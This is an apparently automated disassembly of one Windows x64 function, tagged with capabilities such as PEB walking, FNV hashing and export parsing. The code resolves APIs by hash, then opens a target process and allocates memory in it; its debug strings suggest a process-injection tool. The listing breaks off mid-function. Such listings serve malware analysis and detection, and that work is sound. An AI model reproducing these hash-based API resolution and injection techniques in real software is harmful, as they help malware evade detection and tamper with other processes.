Function at 0x1400161d0
Capabilities:
Access peb ldr_data
Get process filename
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x1408
call fcn.14002cd30
sub rsp, rax
mov rax, qword [0x140047b40]
xor rax, rsp
mov qword [rsp + 0x1400], rax
mov qword [rsp + 0x1100], rcx
mov rcx, qword [rsp + 0x1100]
call fcn.140003510
mov dword [rsp + 0x10fc], eax
mov qword [rsp + 0x10f0], 0
mov dword [rsp + 0x10c0], 0x30
mov qword [rsp + 0x10c8], 0
mov dword [rsp + 0x10d8], 0
mov qword [rsp + 0x10d0], 0
mov qword [rsp + 0x10e0], 0
mov qword [rsp + 0x10e8], 0
mov eax, dword [rsp + 0x10fc]
mov qword [rsp + 0x10b0], rax
mov qword [rsp + 0x10b8], 0
mov edx, dword [0x14004c014]
lea rcx, [rsp + 0x10ac]
mov qword [rsp + 0x140], rcx
call fcn.140003320
mov rcx, qword [rsp + 0x140]
mov rax, rsp
lea rdx, [rsp + 0x10b0]
mov qword [rax + 0x20], rdx
lea rdx, [rsp + 0x10f0]
mov r8d, 0x2a
lea r9, [rsp + 0x10c0]
call fcn.140003c40
lea rax, [0x14002d4c0]
mov qword [rsp + 0x158], rax
lea rax, str._4s___Target_process_n
mov qword [rsp + 0x150], rax
lea rax, [rsp + 0x10ab]
mov qword [rsp + 0x148], rax
lea rax, [rsp + 0x1120]
mov qword [rsp + 0x358], rax
mov rax, qword [rsp + 0x358]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1120]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x368], rax
lea rax, [rsp + 0x1108]
mov qword [rsp + 0x360], rax
mov rax, qword [rsp + 0x360]
mov rcx, qword [rsp + 0x368]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x368]
mov qword [rsp + 0x3e0], rcx
mov rcx, qword [rsp + 0x3e0]
mov rdx, qword [rsp + 0x3e0]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x1128], rcx
mov rcx, qword [rsp + 0x368]
mov edx, dword [rsp + 0x1128]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0x112c]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0x1108]
mov qword [rsp + 0x370], rax
mov rcx, qword [rsp + 0x370]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x140016596
lea rax, [rsp + 0x1108]
mov qword [rsp + 0x378], rax
mov rax, qword [rsp + 0x378]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x34c], eax
mov eax, dword [rsp + 0x34c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x34c], ecx
cmp eax, 0
je 0x140016591
movabs rax, 0x2ff32b82f9395430
mov qword [rsp + 0x398], rax
mov rax, qword [rsp + 0x398]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x34c]
mov dword [rsp + 0x3ac], eax
lea rax, [rsp + 0x1108]
mov qword [rsp + 0x3a0], rax
mov r8, qword [rsp + 0x3a0]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x3ac]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x394], ecx
mov qword [rsp + 0x388], rax
mov eax, dword [rsp + 0x394]
mov dword [rsp + 0x384], eax
mov rax, qword [rsp + 0x388]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x388], rcx
mov al, byte [rax]
mov byte [rsp + 0x383], al
cmp byte [rsp + 0x383], 0
je 0x140016559
mov cl, byte [rsp + 0x383]
mov eax, dword [rsp + 0x384]
mov byte [rsp + 0x3ef], cl
mov dword [rsp + 0x3e8], eax
mov eax, dword [rsp + 0x3e8]
mov dword [rsp + 0x13c], eax
movsx eax, byte [rsp + 0x3ef]
cmp eax, 0x41
jl 0x140016525
movsx eax, byte [rsp + 0x3ef]
cmp eax, 0x5a
jg 0x140016525
movsx eax, byte [rsp + 0x3ef]
or eax, 0x20
mov dword [rsp + 0x138], eax
jmp 0x140016534
movsx eax, byte [rsp + 0x3ef]
mov dword [rsp + 0x138], eax
mov eax, dword [rsp + 0x13c]
mov ecx, dword [rsp + 0x138]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x384], eax
jmp 0x140016494
mov eax, dword [rsp + 0x384]
movabs rcx, 0x2ff32b82f9395430
mov qword [rsp + 0x3b0], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x3b0]
cmp eax, ecx
je 0x1400165cc
jmp 0x1400163f5
jmp 0x140016596
lea rax, [rsp + 0x1120]
mov qword [rsp + 0x3d8], rax
mov rax, qword [rsp + 0x3d8]
mov rcx, qword [rax]
mov qword [rsp + 0x3f0], rcx
mov rcx, qword [rsp + 0x3f0]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x14001631f
mov eax, dword [rsp + 0x34c]
mov dword [rsp + 0x3d4], eax
lea rax, [rsp + 0x1108]
mov qword [rsp + 0x3c8], rax
mov rax, qword [rsp + 0x3c8]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x3c0], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x3b8], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3c0]
mov rdx, qword [rsp + 0x3b8]
mov r8d, dword [rsp + 0x3d4]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x350], rax
mov rax, qword [rsp + 0x350]
mov rdx, qword [rsp + 0x158]
mov rcx, qword [rsp + 0x150]
call rax
lea rax, [rsp + 0x1100]
mov qword [rsp + 0x178], rax
lea rax, [0x14002d4c0]
mov qword [rsp + 0x170], rax
lea rax, str._8s____Name:__t_t_ws_n
mov qword [rsp + 0x168], rax
lea rax, [rsp + 0x10aa]
mov qword [rsp + 0x160], rax
lea rax, [rsp + 0x1148]
mov qword [rsp + 0x408], rax
mov rax, qword [rsp + 0x408]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1148]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x418], rax
lea rax, [rsp + 0x1130]
mov qword [rsp + 0x410], rax
mov rax, qword [rsp + 0x410]
mov rcx, qword [rsp + 0x418]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x418]
mov qword [rsp + 0x490], rcx
mov rcx, qword [rsp + 0x490]
mov rdx, qword [rsp + 0x490]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x1150], rcx
mov rcx, qword [rsp + 0x418]
mov edx, dword [rsp + 0x1150]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0x1154]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0x1130]
mov qword [rsp + 0x420], rax
mov rcx, qword [rsp + 0x420]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x140016945
lea rax, [rsp + 0x1130]
mov qword [rsp + 0x428], rax
mov rax, qword [rsp + 0x428]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x3fc], eax
mov eax, dword [rsp + 0x3fc]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x3fc], ecx
cmp eax, 0
je 0x140016940
movabs rax, 0x9d7b6c6077e2f33a
mov qword [rsp + 0x448], rax
mov rax, qword [rsp + 0x448]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x3fc]
mov dword [rsp + 0x45c], eax
lea rax, [rsp + 0x1130]
mov qword [rsp + 0x450], rax
mov r8, qword [rsp + 0x450]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x45c]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x444], ecx
mov qword [rsp + 0x438], rax
mov eax, dword [rsp + 0x444]
mov dword [rsp + 0x434], eax
mov rax, qword [rsp + 0x438]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x438], rcx
mov al, byte [rax]
mov byte [rsp + 0x433], al
cmp byte [rsp + 0x433], 0
je 0x140016908
mov cl, byte [rsp + 0x433]
mov eax, dword [rsp + 0x434]
mov byte [rsp + 0x49f], cl
mov dword [rsp + 0x498], eax
mov eax, dword [rsp + 0x498]
mov dword [rsp + 0x134], eax
movsx eax, byte [rsp + 0x49f]
cmp eax, 0x41
jl 0x1400168d4
movsx eax, byte [rsp + 0x49f]
cmp eax, 0x5a
jg 0x1400168d4
movsx eax, byte [rsp + 0x49f]
or eax, 0x20
mov dword [rsp + 0x130], eax
jmp 0x1400168e3
movsx eax, byte [rsp + 0x49f]
mov dword [rsp + 0x130], eax
mov eax, dword [rsp + 0x134]
mov ecx, dword [rsp + 0x130]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x434], eax
jmp 0x140016843
mov eax, dword [rsp + 0x434]
movabs rcx, 0x9d7b6c6077e2f33a
mov qword [rsp + 0x460], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x460]
cmp eax, ecx
je 0x14001697b
jmp 0x1400167a4
jmp 0x140016945
lea rax, [rsp + 0x1148]
mov qword [rsp + 0x488], rax
mov rax, qword [rsp + 0x488]
mov rcx, qword [rax]
mov qword [rsp + 0x4a0], rcx
mov rcx, qword [rsp + 0x4a0]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x1400166ce
mov eax, dword [rsp + 0x3fc]
mov dword [rsp + 0x484], eax
lea rax, [rsp + 0x1130]
mov qword [rsp + 0x478], rax
mov rax, qword [rsp + 0x478]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x470], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x468], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x470]
mov rdx, qword [rsp + 0x468]
mov r8d, dword [rsp + 0x484]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x400], rax
mov rax, qword [rsp + 0x400]
mov rcx, qword [rsp + 0x178]
mov r8, qword [rcx]
mov rdx, qword [rsp + 0x170]
mov rcx, qword [rsp + 0x168]
call rax
lea rax, [rsp + 0x10fc]
mov qword [rsp + 0x198], rax
lea rax, [0x14002d4c0]
mov qword [rsp + 0x190], rax
lea rax, str._8s____PID:__t_t_lu_n
mov qword [rsp + 0x188], rax
lea rax, [rsp + 0x10a9]
mov qword [rsp + 0x180], rax
lea rax, [rsp + 0x1170]
mov qword [rsp + 0x4b8], rax
mov rax, qword [rsp + 0x4b8]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1170]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x4c8], rax
lea rax, [rsp + 0x1158]
mov qword [rsp + 0x4c0], rax
mov rax, qword [rsp + 0x4c0]
mov rcx, qword [rsp + 0x4c8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x4c8]
mov qword [rsp + 0x540], rcx
mov rcx, qword [rsp + 0x540]
mov rdx, qword [rsp + 0x540]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x1178], rcx
mov rcx, qword [rsp + 0x4c8]
mov edx, dword [rsp + 0x1178]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0x117c]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0x1158]
mov qword [rsp + 0x4d0], rax
mov rcx, qword [rsp + 0x4d0]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x140016cff
lea rax, [rsp + 0x1158]
mov qword [rsp + 0x4d8], rax
mov rax, qword [rsp + 0x4d8]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x4ac], eax
mov eax, dword [rsp + 0x4ac]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x4ac], ecx
cmp eax, 0
je 0x140016cfa
movabs rax, 0x98191bb26ed02800
mov qword [rsp + 0x4f8], rax
mov rax, qword [rsp + 0x4f8]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x4ac]
mov dword [rsp + 0x50c], eax
lea rax, [rsp + 0x1158]
mov qword [rsp + 0x500], rax
mov r8, qword [rsp + 0x500]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x50c]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x4f4], ecx
mov qword [rsp + 0x4e8], rax
mov eax, dword [rsp + 0x4f4]
mov dword [rsp + 0x4e4], eax
mov rax, qword [rsp + 0x4e8]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x4e8], rcx
mov al, byte [rax]
mov byte [rsp + 0x4e3], al
cmp byte [rsp + 0x4e3], 0
je 0x140016cc2
mov cl, byte [rsp + 0x4e3]
mov eax, dword [rsp + 0x4e4]
mov byte [rsp + 0x54f], cl
mov dword [rsp + 0x548], eax
mov eax, dword [rsp + 0x548]
mov dword [rsp + 0x12c], eax
movsx eax, byte [rsp + 0x54f]
cmp eax, 0x41
jl 0x140016c8e
movsx eax, byte [rsp + 0x54f]
cmp eax, 0x5a
jg 0x140016c8e
movsx eax, byte [rsp + 0x54f]
or eax, 0x20
mov dword [rsp + 0x128], eax
jmp 0x140016c9d
movsx eax, byte [rsp + 0x54f]
mov dword [rsp + 0x128], eax
mov eax, dword [rsp + 0x12c]
mov ecx, dword [rsp + 0x128]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x4e4], eax
jmp 0x140016bfd
mov eax, dword [rsp + 0x4e4]
movabs rcx, 0x98191bb26ed02800
mov qword [rsp + 0x510], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x510]
cmp eax, ecx
je 0x140016d35
jmp 0x140016b5e
jmp 0x140016cff
lea rax, [rsp + 0x1170]
mov qword [rsp + 0x538], rax
mov rax, qword [rsp + 0x538]
mov rcx, qword [rax]
mov qword [rsp + 0x550], rcx
mov rcx, qword [rsp + 0x550]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x140016a88
mov eax, dword [rsp + 0x4ac]
mov dword [rsp + 0x534], eax
lea rax, [rsp + 0x1158]
mov qword [rsp + 0x528], rax
mov rax, qword [rsp + 0x528]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x520], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x518], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x520]
mov rdx, qword [rsp + 0x518]
mov r8d, dword [rsp + 0x534]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x4b0], rax
mov rax, qword [rsp + 0x4b0]
mov rcx, qword [rsp + 0x198]
mov r8d, dword [rcx]
mov rdx, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x188]
call rax
lea rax, [rsp + 0x10f0]
mov qword [rsp + 0x1b8], rax
lea rax, [0x14002d4c0]
mov qword [rsp + 0x1b0], rax
lea rax, str._8s____Handle:__t_t0x_p_n
mov qword [rsp + 0x1a8], rax
lea rax, [rsp + 0x10a8]
mov qword [rsp + 0x1a0], rax
lea rax, [rsp + 0x1198]
mov qword [rsp + 0x568], rax
mov rax, qword [rsp + 0x568]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1198]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x578], rax
lea rax, [rsp + 0x1180]
mov qword [rsp + 0x570], rax
mov rax, qword [rsp + 0x570]
mov rcx, qword [rsp + 0x578]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x578]
mov qword [rsp + 0x5f0], rcx
mov rcx, qword [rsp + 0x5f0]
mov rdx, qword [rsp + 0x5f0]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x11a0], rcx
mov rcx, qword [rsp + 0x578]
mov edx, dword [rsp + 0x11a0]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0x11a4]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0x1180]
mov qword [rsp + 0x580], rax
mov rcx, qword [rsp + 0x580]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x1400170b9
lea rax, [rsp + 0x1180]
mov qword [rsp + 0x588], rax
mov rax, qword [rsp + 0x588]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x55c], eax
mov eax, dword [rsp + 0x55c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x55c], ecx
cmp eax, 0
je 0x1400170b4
movabs rax, 0xfdbd2675d9ee8165
mov qword [rsp + 0x5a8], rax
mov rax, qword [rsp + 0x5a8]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x55c]
mov dword [rsp + 0x5bc], eax
lea rax, [rsp + 0x1180]
mov qword [rsp + 0x5b0], rax
mov r8, qword [rsp + 0x5b0]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x5bc]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x5a4], ecx
mov qword [rsp + 0x598], rax
mov eax, dword [rsp + 0x5a4]
mov dword [rsp + 0x594], eax
mov rax, qword [rsp + 0x598]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x598], rcx
mov al, byte [rax]
mov byte [rsp + 0x593], al
cmp byte [rsp + 0x593], 0
je 0x14001707c
mov cl, byte [rsp + 0x593]
mov eax, dword [rsp + 0x594]
mov byte [rsp + 0x5ff], cl
mov dword [rsp + 0x5f8], eax
mov eax, dword [rsp + 0x5f8]
mov dword [rsp + 0x124], eax
movsx eax, byte [rsp + 0x5ff]
cmp eax, 0x41
jl 0x140017048
movsx eax, byte [rsp + 0x5ff]
cmp eax, 0x5a
jg 0x140017048
movsx eax, byte [rsp + 0x5ff]
or eax, 0x20
mov dword [rsp + 0x120], eax
jmp 0x140017057
movsx eax, byte [rsp + 0x5ff]
mov dword [rsp + 0x120], eax
mov eax, dword [rsp + 0x124]
mov ecx, dword [rsp + 0x120]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x594], eax
jmp 0x140016fb7
mov eax, dword [rsp + 0x594]
movabs rcx, 0xfdbd2675d9ee8165
mov qword [rsp + 0x5c0], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x5c0]
cmp eax, ecx
je 0x1400170ef
jmp 0x140016f18
jmp 0x1400170b9
lea rax, [rsp + 0x1198]
mov qword [rsp + 0x5e8], rax
mov rax, qword [rsp + 0x5e8]
mov rcx, qword [rax]
mov qword [rsp + 0x600], rcx
mov rcx, qword [rsp + 0x600]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x140016e42
mov eax, dword [rsp + 0x55c]
mov dword [rsp + 0x5e4], eax
lea rax, [rsp + 0x1180]
mov qword [rsp + 0x5d8], rax
mov rax, qword [rsp + 0x5d8]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x5d0], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x5c8], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5d0]
mov rdx, qword [rsp + 0x5c8]
mov r8d, dword [rsp + 0x5e4]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x560], rax
mov rax, qword [rsp + 0x560]
mov rcx, qword [rsp + 0x1b8]
mov r8, qword [rcx]
mov rdx, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x1a8]
call rax
mov qword [rsp + 0x10a0], 0
mov qword [rsp + 0x1098], 0x18b00
mov edx, dword [0x14004c00c]
lea rcx, [rsp + 0x1094]
mov qword [rsp + 0x118], rcx
call fcn.140003320
mov rcx, qword [rsp + 0x118]
mov rdx, qword [rsp + 0x10f0]
mov rax, rsp
lea r8, [rsp + 0x1098]
mov qword [rax + 0x20], r8
mov dword [rax + 0x30], 4
mov dword [rax + 0x28], 0x3000
lea r8, [rsp + 0x10a0]
xor r9d, r9d
call fcn.140003a90
lea rax, [0x14002d4c0]
mov qword [rsp + 0x1d0], rax
lea rax, str._4s___Memory_allocated_n
mov qword [rsp + 0x1c8], rax
lea rax, [rsp + 0x1093]
mov qword [rsp + 0x1c0], rax
lea rax, [rsp + 0x11c0]
mov qword [rsp + 0x618], rax
mov rax, qword [rsp + 0x618]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x11c0]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x628], rax
lea rax, [rsp + 0x11a8]
mov qword [rsp + 0x620], rax
mov rax, qword [rsp + 0x620]
mov rcx, qword [rsp + 0x628]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x628]
mov qword [rsp + 0x6a0], rcx
mov rcx, qword [rsp + 0x6a0]
mov rdx, qword [rsp + 0x6a0]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x11c8], rcx
mov rcx, qword [rsp + 0x628]
mov edx, dword [rsp + 0x11c8]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0x11cc]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0x11a8]
mov qword [rsp + 0x630], rax
mov rcx, qword [rsp + 0x630]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x1400174d3
lea rax, [rsp + 0x11a8]
mov qword [rsp + 0x638], rax
mov rax, qword [rsp + 0x638]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x60c], eax
mov eax, dword [rsp + 0x60c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x60c], ecx
cmp eax, 0
je 0x1400174ce
movabs rax, 0x99dd105f727c2c8b
mov qword [rsp + 0x658], rax
mov rax, qword [rsp + 0x658]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x60c]
mov dword [rsp + 0x66c], eax
lea rax, [rsp + 0x11a8]
mov qword [rsp + 0x660], rax
mov r8, qword [rsp + 0x660]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x66c]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x654], ecx
mov qword [rsp + 0x648], rax
mov eax, dword [rsp + 0x654]
mov dword [rsp + 0x644], eax
mov rax, qword [rsp + 0x648]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x648], rcx
mov al, byte [rax]
mov byte [rsp + 0x643], al
cmp byte [rsp + 0x643], 0
je 0x140017496
mov cl, byte [rsp + 0x643]
mov eax, dword [rsp + 0x644]
mov byte [rsp + 0x6af], cl
mov dword [rsp + 0x6a8], eax
mov eax, dword [rsp + 0x6a8]
mov dword [rsp + 0x114], eax
movsx eax, byte [rsp + 0x6af]
cmp eax, 0x41
jl 0x140017462
movsx eax, byte [rsp + 0x6af]
cmp eax, 0x5a
jg 0x140017462
movsx eax, byte [rsp + 0x6af]
or eax, 0x20
mov dword [rsp + 0x110], eax
jmp 0x140017471
movsx eax, byte [rsp + 0x6af]
mov dword [rsp + 0x110], eax
mov eax, dword [rsp + 0x114]
mov ecx, dword [rsp + 0x110]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x644], eax
jmp 0x1400173d1
mov eax, dword [rsp + 0x644]
movabs rcx, 0x99dd105f727c2c8b
mov qword [rsp + 0x670], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x670]
cmp eax, ecx
je 0x140017509
jmp 0x140017332
jmp 0x1400174d3
lea rax, [rsp + 0x11c0]
mov qword [rsp + 0x698], rax
mov rax, qword [rsp + 0x698]
mov rcx, qword [rax]
mov qword [rsp + 0x6b0], rcx
mov rcx, qword [rsp + 0x6b0]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x14001725c
mov eax, dword [rsp + 0x60c]
mov dword [rsp + 0x694], eax
lea rax, [rsp + 0x11a8]
mov qword [rsp + 0x688], rax
mov rax, qword [rsp + 0x688]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x680], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x678], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x680]
mov rdx, qword [rsp + 0x678]
mov r8d, dword [rsp + 0x694]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x610], rax
mov rax, qword [rsp + 0x610]
mov rdx, qword [rsp + 0x1d0]
mov rcx, qword [rsp + 0x1c8]
call rax
lea rax, [rsp + 0x1098]
mov qword [rsp + 0x1f0], rax
lea rax, [0x14002d4c0]
mov qword [rsp + 0x1e8], rax
lea rax, str._8s____Size:__t_t_zu_bytes_n
mov qword [rsp + 0x1e0], rax
lea rax, [rsp + 0x1092]
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x11e8]
mov qword [rsp + 0x6c8], rax
mov rax, qword [rsp + 0x6c8]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x11e8]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x6d8], rax
lea rax, [rsp + 0x11d0]
mov qword [rsp + 0x6d0], rax
mov rax, qword [rsp + 0x6d0]
mov rcx, qword [rsp + 0x6d8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x6d8]
mov qword [rsp + 0x750], rcx
mov rcx, qword [rsp + 0x750]
mov rdx, qword [rsp + 0x750]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x11f0], rcx
mov rcx, qword [rsp + 0x6d8]
mov edx, dword [rsp + 0x11f0]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0x11f4]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0x11d0]
mov qword [rsp + 0x6e0], rax
mov rcx, qword [rsp + 0x6e0]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x140017882
lea rax, [rsp + 0x11d0]
mov qword [rsp + 0x6e8], rax
mov rax, qword [rsp + 0x6e8]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x6bc], eax
mov eax, dword [rsp + 0x6bc]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x6bc], ecx
cmp eax, 0
je 0x14001787d
movabs rax, 0x1974781db8261bdd
mov qword [rsp + 0x708], rax
mov rax, qword [rsp + 0x708]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x6bc]
mov dword [rsp + 0x71c], eax
lea rax, [rsp + 0x11d0]
mov qword [rsp + 0x710], rax
mov r8, qword [rsp + 0x710]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x71c]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x704], ecx
mov qword [rsp + 0x6f8], rax
mov eax, dword [rsp + 0x704]
mov dword [rsp + 0x6f4], eax
mov rax, qword [rsp + 0x6f8]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x6f8], rcx
mov al, byte [rax]
mov byte [rsp + 0x6f3], al
cmp byte [rsp + 0x6f3], 0
je 0x140017845
mov cl, byte [rsp + 0x6f3]
mov eax, dword [rsp + 0x6f4]
mov byte [rsp + 0x75f], cl
mov dword [rsp + 0x758], eax
mov eax, dword [rsp + 0x758]
mov dword [rsp + 0x10c], eax
movsx eax, byte [rsp + 0x75f]
cmp eax, 0x41
jl 0x140017811
movsx eax, byte [rsp + 0x75f]
cmp eax, 0x5a
jg 0x140017811
movsx eax, byte [rsp + 0x75f]
or eax, 0x20
mov dword [rsp + 0x108], eax
jmp 0x140017820
movsx eax, byte [rsp + 0x75f]
